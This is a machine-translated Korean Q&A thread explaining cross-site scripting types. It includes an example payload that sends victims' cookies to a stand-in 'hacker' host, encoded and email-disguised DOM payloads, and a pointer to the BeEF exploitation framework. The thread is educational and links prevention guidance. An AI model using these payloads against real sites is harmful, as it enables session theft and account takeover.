it-swarm-korea.com

XSS는 어떻게 작동합니까?

웹 개발 경험이 거의 없지만 보안에 관심이 있습니다. 그러나 XSS의 작동 방식을 완전히 이해하지 못했습니다. 메드에게 설명해 줄 수 있습니까? Wikipedia 기사는 좋은 아이디어를 제공하지만 잘 이해하지 못한다고 생각합니다.

89
Ither

XSS-사이트 간 스크립팅 (실제 크로스 사이트 스크립팅으로 제한되지 않음)

XSS는 일반적으로 3 가지 방식으로 제공됩니다.

비 지속적 (종종 반영된 XSS라고 함)

이것은 코드를 주입 ​​할 수 있고 서버가 비위생적으로 코드를 사용자에게 반환 할 때입니다. 종종 (보통 순진한 모양의) URL을 다른 사람이 클릭 할 수있는 형태 나 방식으로 배포하여이를 악용 할 수 있습니다.

이는 누군가에 대한 집중적 인 공격을 처리 할 때 특히 효과적입니다. 보낸 URL을 다른 사람이 클릭하게하면 시스템에서 높은 권한을 얻을 수 있습니다.

예:

검색 필드가 포함 된 사이트에는 올바른 입력 삭제가 없습니다. 다음과 같은 검색어를 작성하면 다음과 같습니다.

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

웹 서버에서 다른 쪽 끝에 앉아 두 번 공백이 지나면 사용자 쿠키가 발생합니다. 관리자가 링크를 클릭하면 세션 ID를 도용하고 세션을 가로 챌 수 있습니다.

스팸 이메일, 게시판 게시, IM 메시지, 사회 공학 툴킷과 같은 기술을 사용하면이 취약점은 매우 위험 할 수 있습니다.

DOM 기반

비 지속적과 매우 유사하지만 웹 서버에서 자바 스크립트 페이로드를 다시 에코 할 필요가 없습니다. 이것은 이미 상주하는 자바 스크립트를 사용하여로드 할 때 URL 매개 변수의 값이 페이지에 즉시 에코되는 곳일 수 있습니다.

예:

http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>

물론 범죄자들은 ​​URL을보다 순진하게 보이도록 수정합니다. 위와 동일한 페이로드가 다르게 다르게 인코딩되었습니다.

http://victim/displayHelp.php?title=FAQ#&#60&#115&#99&#114&#105
#112&#116&#62&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109
&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41&#60&#47&#115&#99
&#114&#105&#112&#116&#62

다음과 같이 HTML을 지원하는 전자 메일 클라이언트로 보낼 때 더 잘 숨길 수도 있습니다.

<a href="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>

영구

XSS 벡터를 유지할 수있게되면 공격이 훨씬 더 위험 해집니다. 영구 XSS는 일반적으로 XSS가 데이터베이스 필드 등에 저장되어 있기 때문에 서버에서 다시 반영됩니다. 다음 입력이 데이터베이스에 저장된 후 프로파일에 다시 표시됩니다.

<input type="text" value="Your name" />

응용 프로그램이 비위생 입력을 수락하고 저장할 수있게하려면 다른 사용자가 내 프로필을 보도록 (또는 XSS가 반영되는 위치)해야합니다.

이러한 종류의 XSS는 발견하기 어려울뿐만 아니라 시스템에 매우 치명적입니다. Samy worm 라는 XSS 웜을 살펴보십시오!

XSS 초기에는 방명록, 커뮤니티, 사용자 리뷰, 대화방 등에서 이런 종류의 악용을 보았습니다.


두 공격 벡터

XSS 페이로드를 제공하는 다양한 방법을 알았으므로 매우 위험한 몇 가지 XSS 공격 경로를 언급하고 싶습니다.

  • XSS 훼손

    XSS 훼손은 달성하기 어려운 업적이 아닙니다. XSS가 지속적 일 경우, sysadmins가이를 파악하기가 번거로울 수 있습니다. RSnake Stallowned "attack"에서 Amazon의 책 미리보기 기능을 살펴보십시오. 꽤 재미있는 독서.

  • 쿠키 도용 및 세션 도용

    위의 예 중 하나에서와 같이 사용자 쿠키에 액세스 할 수 있으면 중요한 정보도 얻을 수 있습니다. sessionID를 캡처하면 세션 하이재킹이 발생하여 시스템에 대한 권한이 높아질 수 있습니다.

긴 글에 대해 죄송합니다. 나는 이제 멈출 것이다. 보다시피, XSS는 다루어야 할 매우 큰 주제입니다. 그래도 내가 좀 더 명확하게하기를 바랍니다.


BeEF로 XSS 폭발시키기

XSS가 어떻게 악용 될 수 있는지 알아 보려면 브라우저 익스플로잇 프레임 워크 BeEF 를 사용해 보는 것이 좋습니다. 압축을 풀고 PHP 지원) 웹 서버에서 실행하면 다른 XSS 페이로드를 매우 쉽게 시도 할 수있는 피해자 (좀비라고 함)의 시뮬레이션을 쉽게 생성 할 수 있습니다. :

  • 포트 스캔 로컬 네트워크
  • Pingsweep 로컬 네트워크
  • 바이러스에 감염된 애플릿 보내기, 서명 및 준비
  • 클라이언트에게 메시지 보내기
  • Skype 전화 걸기

목록은 계속됩니다. BeEF 홈페이지에서 비디오를 보는 것이 좋습니다.

PDATE : XSS를 설명하는 내 블로그에서 XSS에 쓰기 를 수행했습니다. XSS의 역사, 다양한 공격 유형 및 BeEF 및 Shank를 포함한 일부 유스 케이스에 대한 정보가 포함되어 있습니다.

80
Chris Dale

SteveSyfuhs가 말한 것을 피기 백하기 위해 XSS를 사용할 수있는 악의적 인 방법이 많이 있습니다.

예 :

데이터베이스 필드에 악성 코드를 삽입하는 것이 한 예입니다. 결과적으로, 해당 필드가 최종 사용자에게 비위생적으로 표시 될 때마다 브라우저가 코드를 실행합니다. 이를 영구/저장된 크로스 사이트 스크립팅이라고합니다.

또 다른 방법은 코드를 검증하거나 소독하지 않고 GET 또는 POST 매개 변수에 코드를 삽입하는 기능입니다. 이러한 변수가 페이지의 내용을 수정하면 최종 사용자에게 수정 된 데이터가 표시됩니다. 브라우저는 악성 코드를 실행합니다.이 코드는 일반적으로 누군가가 링크를 클릭 할 때 이러한 GET 매개 변수를 보내는 전자 메일/웹을 통한 악성 링크에 존재합니다. Reflected Cross Site Scripting.

자원 :

Fortify Software 에는 취약점을 설명하고 예제를 제공하는 데 유용한 리소스가 있습니다. https://www.fortify.com/vulncat/en/vulncat /index.html

  • 선택한 언어를 클릭하고 입력 유효성 검사 및
    다른 유형의 교차 사이트에서 선택할 수있는 표현
    Fortify Software에서 정의한 스크립팅 취약점.

[~ # ~] owasp [~ # ~] 에는 XSS 취약성을 방지하는 방법을 설명하는 데 유용한 리소스가 있습니다. http : // www .owasp.org/index.php/XSS_ (Cross_Site_Scripting) _Prevention_Cheat_Sheet

14
Purge

XSS는 임의의 데이터를 시스템에 넣고 사용자에게 수정되지 않은 데이터를 표시하는 것입니다. js를 내 프로필에 저장하고 누군가 해당 페이지를 볼 수있게하면 js가 실행됩니다. 예를 들어 js가 사용자 쿠키의 내용을 웹 서비스에 보내서 쿠키를 사용하여 세션을 도용하는 것과 같이 원하는 모든 작업을 수행 할 수 있습니다.

9
Steve

간단히 말해, 크로스 사이트 스크립팅은 개발자가 신뢰할 수없는 입력을 확인하지 않았기 때문에 웹 브라우저가 악성 코드를 실행하도록 속입니다.

따라서 XSS 공격을 예로 들면 신뢰할 수없는 입력은 JavaScript를 포함하는 URL 매개 변수가 될 수 있습니다. 개발자는 매개 변수에 데이터 만 포함되어 있거나 충분히 확인하지 않은 것으로 가정하고 매개 변수의 내용을 HTML 페이지에 추가하기 만합니다. 그런 다음 브라우저는 JavaScript를 정식으로 실행하며 반영된 XSS 공격을받습니다.

자세한 내용은 여기를 참조하십시오 : OWASP XSS 페이지

8
Ventral